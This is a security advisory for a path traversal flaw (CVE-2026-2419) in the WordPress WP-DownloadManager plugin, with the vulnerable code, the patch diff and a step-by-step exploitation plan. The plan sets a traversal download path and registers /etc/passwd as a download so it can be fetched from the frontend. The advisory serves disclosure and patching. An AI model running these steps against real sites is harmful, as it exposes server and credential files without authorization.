WP-DownloadManager <= 1.69 - Authenticated (Administrator+) Path Traversal to Arbitrary File Read via 'download_path' Parameter
Description
The WP-DownloadManager plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 1.69 via the 'download_path' configuration parameter. This is due to insufficient validation of the download path setting, which allows directory traversal sequences to bypass the WP_CONTENT_DIR prefix check. This makes it possible for authenticated attackers, with Administrator-level access and above, to configure the plugin to list and access arbitrary files on the server by exploiting the file browser functionality.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=1.69What Changed in the Fix
Changes introduced in v1.69.1
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-2419 ## 1. Vulnerability Summary The **WP-DownloadManager** plugin (<= 1.69) contains a path traversal vulnerability in its configuration settings. The plugin attempts to restrict the `download_path` (the directory where downloads are stored) to the `WP_CONTEN…
Show full research plan
Exploitation Research Plan: CVE-2026-2419
1. Vulnerability Summary
The WP-DownloadManager plugin (<= 1.69) contains a path traversal vulnerability in its configuration settings. The plugin attempts to restrict the download_path (the directory where downloads are stored) to the WP_CONTENT_DIR directory. However, the validation logic in download-options.php only checks if the user-provided string starts with the content directory path. It fails to sanitize or check for directory traversal sequences (e.g., ../) following the prefix. This allows an authenticated administrator to escape the intended directory and point the plugin to the server root (e.g., /etc/ or /). Once the path is manipulated, the plugin's file listing and download features can be used to read arbitrary files from the server.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin.php?page=wp-downloadmanager/download-options.php - Hook: The options page is registered via
add_submenu_pageinwp-downloadmanager.phpwith themanage_downloadscapability. - Vulnerable Parameter:
download_path - Authentication: Required (Administrator or user with
manage_downloadscapability). - Preconditions: None, other than administrative access.
- CSRF Protection: The plugin uses
wp_nonce_field('wp-downloadmanager_options')andcheck_admin_referer('wp-downloadmanager_options').
3. Code Flow
Source (
download-options.php):- The script receives
$_POST['download_path']. - It performs a prefix check:
if ( substr( $download_path, 0, strlen( WP_CONTENT_DIR ) ) !== WP_CONTENT_DIR ) { $download_path = WP_CONTENT_DIR; } - If
WP_CONTENT_DIRis/var/www/html/wp-content, a payload like/var/www/html/wp-content/../../../../satisfies the check. - The value is saved via
update_option('download_path', $download_path).
- The script receives
Sink (
download-manager.phpanddownload-add.php):- The plugin retrieves the path:
$file_path = get_option( 'download_path' );. - In the "Add File" or "Edit File" logic, it uses this path to check files:
$file_size = filesize($file_path.$file); - When a file is requested on the frontend (via
/?dl_id=X), the plugin reads the file from$file_path . $filenameand streams it to the user.
- The plugin retrieves the path:
4. Nonce Acquisition Strategy
This vulnerability requires an authenticated Administrator. Nonces are required for both updating options and adding files.
Obtaining
download-options.phpNonce:- Navigate to the Download Options page using
browser_navigate. - The nonce is generated by
wp_nonce_field('wp-downloadmanager_options'). - Use
browser_evalto extract the value from the hidden input:document.querySelector('input[name="_wpnonce"]').value
- Navigate to the Download Options page using
Obtaining
download-add.phpNonce (if needed to add a file):- Navigate to the "Add File" page:
wp-admin/admin.php?page=wp-downloadmanager/download-add.php. - Extract the nonce for
wp-downloadmanager_add-file(inferred action name based ondownload-manager.phppatterns).
- Navigate to the "Add File" page:
5. Exploitation Strategy
Step 1: Update Download Path to Server Root
- Request:
POST /wp-admin/admin.php?page=wp-downloadmanager/download-options.php - Body:
_wpnonce:[EXTRACTED_NONCE]_wp_http_referer:/wp-admin/admin.php?page=wp-downloadmanager%2Fdownload-options.phpdownload_path:[WP_CONTENT_DIR]/../../../../(e.g.,/var/www/html/wp-content/../../../../to reach/)Submit:Save Changes
- Validation: Check if the response contains "Download Path Updated".
Step 2: Add a Sensitive File
- Request:
POST /wp-admin/admin.php?page=wp-downloadmanager/download-add.php(Note:download-add.phphandles adding new files). - Body:
_wpnonce:[EXTRACTED_ADD_NONCE]file_type:0(Local file)file:etc/passwd(Relative to our new root/)file_name:Traversed Filedo:Add File
- Note: The exact parameters for
download-add.phpcan be verified by observing the form on that page.
Step 3: Trigger Arbitrary File Read
- Identify the
dl_idof the newly created file (usually returned in the URL or displayed in the Manage Downloads table). - Request:
GET /?dl_id=[ID] - Response: The content of
/etc/passwd.
6. Test Data Setup
- Identify
WP_CONTENT_DIR: Usewp eval "echo WP_CONTENT_DIR;"to determine the exact prefix required. - Administrator User: Ensure a user exists with the
administratorrole. - Plugin Activation:
wp plugin activate wp-downloadmanager.
7. Expected Results
- After Step 1, the
download_pathoption in the database should reflect the traversal string. - After Step 2, a new entry in the
wp_downloadstable should exist with thefilecolumn set toetc/passwd. - After Step 3, the HTTP response body should contain the string
root:x:0:0:root.
8. Verification Steps
- Verify Option Change:
wp option get download_path - Verify File Entry:
wp db query "SELECT * FROM wp_downloads WHERE file_name = 'Traversed File'" - Verify File Delivery:
Check the response of theGET /?dl_id=[ID]request for sensitive system data.
9. Alternative Approaches
If "Add File" fails due to directory permissions or complexity:
- Direct Link Guessing: If the traversal path is set to
/, and the plugin uses a predictable file naming/storing convention, check ifdownload-manager.php's "Edit File" mode allows modifying an existing download'sfileparameter to../../../../etc/passwddirectly. - Remote File filesize disclosure: If the plugin refuses to add a file that "doesn't exist," the
filesize()call indownload-manager.phpcan be used to verify the existence of files on the system by observing whether the file size is correctly calculated and displayed in the admin UI.
Summary
WP-DownloadManager versions up to 1.69 are vulnerable to Path Traversal because the 'download_path' configuration check only validates the prefix of the path, allowing directory traversal sequences to escape the intended directory. Authenticated administrators can exploit this to point the plugin to the server root and subsequently read arbitrary system files through the file download functionality.
Vulnerable Code
// download-options.php $download_path = ! empty( $_POST['download_path'] ) ? sanitize_text_field( $_POST['download_path'] ) : ''; // ... // Line 65: Insufficient validation only checks if path starts with WP_CONTENT_DIR // It does not account for traversal sequences like '../' following the prefix if ( substr( $download_path, 0, strlen( WP_CONTENT_DIR ) ) !== WP_CONTENT_DIR ) { $download_path = WP_CONTENT_DIR; } // ... update_option('download_path', $download_path);
Security Fix
@@ -139,16 +139,21 @@ if( $file_upload_to !== '/' ) { $file_upload_to = $file_upload_to . '/'; } - if(move_uploaded_file($_FILES['file_upload']['tmp_name'], $file_path.$file_upload_to.basename($_FILES['file_upload']['name']))) { - $file = $file_upload_to.basename($_FILES['file_upload']['name']); - $file = download_rename_file($file_path, $file); - $file_size = filesize($file_path.$file); + $validate = wp_check_filetype_and_ext( $_FILES['file_upload']['tmp_name'], basename( $_FILES['file_upload']['name'] ) ); + if ( $validate['type'] === false ) { + $text = '<p style="color: red;">' . __('File type is invalid', 'wp-downloadmanager') . '</p>'; + break; + } + if( move_uploaded_file( $_FILES['file_upload']['tmp_name'], $file_path.$file_upload_to . basename( $_FILES['file_upload']['name'] ) ) ) { + $file = $file_upload_to . basename( $_FILES['file_upload']['name'] ); + $file = download_rename_file( $file_path, $file ); + $file_size = filesize( $file_path . $file ); } else { - $text = '<p style="color: red;">'.__('Error In Uploading File', 'wp-downloadmanager').'</p>'; + $text = '<p style="color: red;">' . __('Error In Uploading File', 'wp-downloadmanager') . '</p>'; break; } } else { - $text = '<p style="color: red;">'.__('Error In Uploading File', 'wp-downloadmanager').'</p>'; + $text = '<p style="color: red;">' . __('Error In Uploading File', 'wp-downloadmanager') . '</p>'; break; } } @@ -208,21 +213,20 @@ case __('Delete File', 'wp-downloadmanager'); check_admin_referer('wp-downloadmanager_delete-file'); $file_id = ! empty( $_POST['file_id'] ) ? intval( $_POST['file_id'] ) : 0; - $file = ! empty( $_POST['file'] ) ? sanitize_text_field( $_POST['file'] ) : ''; - $file_name = ! empty( $_POST['file_name'] ) ? sanitize_text_field( $_POST['file_name'] ) : ''; + $file = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->downloads WHERE file_id = %d", $file_id ) ); $unlinkfile = ! empty( $_POST['unlinkfile'] ) ? intval( $_POST['unlinkfile'] ) : 0; - if($unlinkfile == 1) { - if(!unlink($file_path.$file)) { - $text = '<p style="color: red;">'.sprintf(__('Error In Deleting File \'%s (%s)\' From Server', 'wp-downloadmanager'), $file_name, $file).'</p>'; + if ( $unlinkfile === 1 ) { + if ( ! unlink( $file_path . $file->file ) ) { + $text = '<p style="color: red;">' . sprintf( __( 'Error In Deleting File \'%s (%s)\' From Server', 'wp-downloadmanager' ), $file->file_name, $file->file ) . '</p>'; } else { - $text = '<p style="color: green;">'.sprintf(__('File \'%s (%s)\' Deleted From Server Successfully', 'wp-downloadmanager'), $file_name, $file).'</p>'; + $text = '<p style="color: green;">' . sprintf( __( 'File \'%s (%s)\' Deleted From Server Successfully', 'wp-downloadmanager' ), $file->file_name, $file->file ) . '</p>'; } } - $deletefile = $wpdb->query("DELETE FROM $wpdb->downloads WHERE file_id = $file_id"); - if(!$deletefile) { - $text .= '<p style="color: red;">'.sprintf(__('Error In Deleting File \'%s (%s)\'', 'wp-downloadmanager'), $file_name, $file).'</p>'; + $deletefile = $wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->downloads WHERE file_id = %d", $file->file_id ) ); + if ( ! $deletefile ) { + $text .= '<p style="color: red;">' . sprintf( __('Error In Deleting File \'%s (%s)\'', 'wp-downloadmanager'), $file->file_name, $file->file) . '</p>'; } else { - $text .= '<p style="color: green;">'.sprintf(__('File \'%s (%s)\' Deleted Successfully', 'wp-downloadmanager'), $file_name, $file).'</p>'; + $text .= '<p style="color: green;">' . sprintf( __('File \'%s (%s)\' Deleted Successfully', 'wp-downloadmanager'), $file->file_name, $file->file) . '</p>'; } break; } @@ -376,9 +380,7 @@ <?php if(!empty($text)) { echo '<!-- Last Action --><div id="message" class="updated fade"><p>'.stripslashes($text).'</p></div>'; } ?> <!-- Delete A File --> <form method="post" action="<?php echo admin_url('admin.php?page='.plugin_basename(__FILE__)); ?>"> - <input type="hidden" name="file_id" value="<?php echo intval($file->file_id); ?>" /> - <input type="hidden" name="file" value="<?php echo esc_attr( removeslashes( $file->file ) ); ?>" /> - <input type="hidden" name="file_name" value="<?php echo esc_attr( removeslashes( $file->file_name ) ); ?>" /> + <input type="hidden" name="file_id" value="<?php echo esc_attr( intval( $file->file_id ) ); ?>" /> <?php wp_nonce_field('wp-downloadmanager_delete-file'); ?> <div class="wrap"> <h2><?php _e('Delete A File', 'wp-downloadmanager'); ?></h2> @@ -39,7 +39,10 @@ $download_options = array('use_filename' => $download_options_use_filename, 'rss_sortby' => $download_options_rss_sortby, 'rss_limit' => $download_options_rss_limit); // Validate - if ( substr( $download_path, 0, strlen( WP_CONTENT_DIR ) ) !== WP_CONTENT_DIR ) { + $real_download_path = realpath( $download_path ); + $real_wp_content_dir = realpath( WP_CONTENT_DIR ); + + if ( false === $real_download_path || false === $real_wp_content_dir || strpos( $real_download_path . DIRECTORY_SEPARATOR, $real_wp_content_dir ) !== 0 || strpos( $download_path, '../' ) !== false ) { $download_path = WP_CONTENT_DIR; }
Exploit Outline
1. Authenticate to the WordPress admin dashboard as an Administrator (or a user with the 'manage_downloads' capability). 2. Navigate to the plugin's 'Download Options' page to obtain a valid nonce for the 'wp-downloadmanager_options' action. 3. Send a POST request to 'wp-admin/admin.php?page=wp-downloadmanager/download-options.php' to update the 'download_path' setting. The payload should include the required WP_CONTENT_DIR prefix followed by enough '../' sequences to reach the server's root directory (e.g., '/var/www/html/wp-content/../../../../'). 4. Navigate to the 'Add File' page and register a new download. Set the 'File Type' to 'Local File' and provide the relative path to a sensitive file (e.g., 'etc/passwd' if the download path was set to '/'). 5. Identify the newly created file's ID (dl_id) and access the frontend download endpoint (e.g., '/?dl_id=[ID]') to receive the content of the traversed file.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.